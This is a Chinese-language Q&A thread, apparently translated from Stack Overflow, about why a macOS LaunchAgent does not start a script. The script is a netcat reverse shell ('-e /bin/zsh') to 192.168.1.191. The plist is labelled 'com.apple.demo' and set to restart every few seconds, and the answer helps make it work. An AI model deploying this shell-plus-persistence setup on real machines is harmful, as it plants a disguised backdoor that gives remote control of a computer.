0

我有一个如图所示的脚本保存到文件/Users/yulkytulky/Library/demo/demo:

netcat 192.168.1.191 12345 -e /bin/zsh

并创建了一个 LaunchAgent plist 文件,以便 shell 像这样自动运行:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.apple.demo</string>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
          <string>/bin/sh</string>
          <string>/Users/yulkytulky/Library/demo/demo</string>
        </array>
        <key>StartInterval</key>
        <integer>5</integer>
</dict>
</plist>

但是,当我听的时候没有产生任何外壳。

我测试了将脚本更改为

say hello

它奏效了!(每 5 秒打个招呼)

为什么当我尝试运行 netcat 时它不起作用?

注意:我知道脚本是可执行的。我什至可以从 plist 文件中复制脚本的路径,将其粘贴到终端中,它可以按预期工作。

4

1 回答 1

0

仔细检查路径netcat(您可以使用which netcatshell 执行此操作)。say在标准路径中/usr/bin/,因此通常在标准路径中,但如果您的netcat可执行文件在其他地方,您可能需要为其提供完整的路径规范

于 2020-04-21T12:15:04.093 回答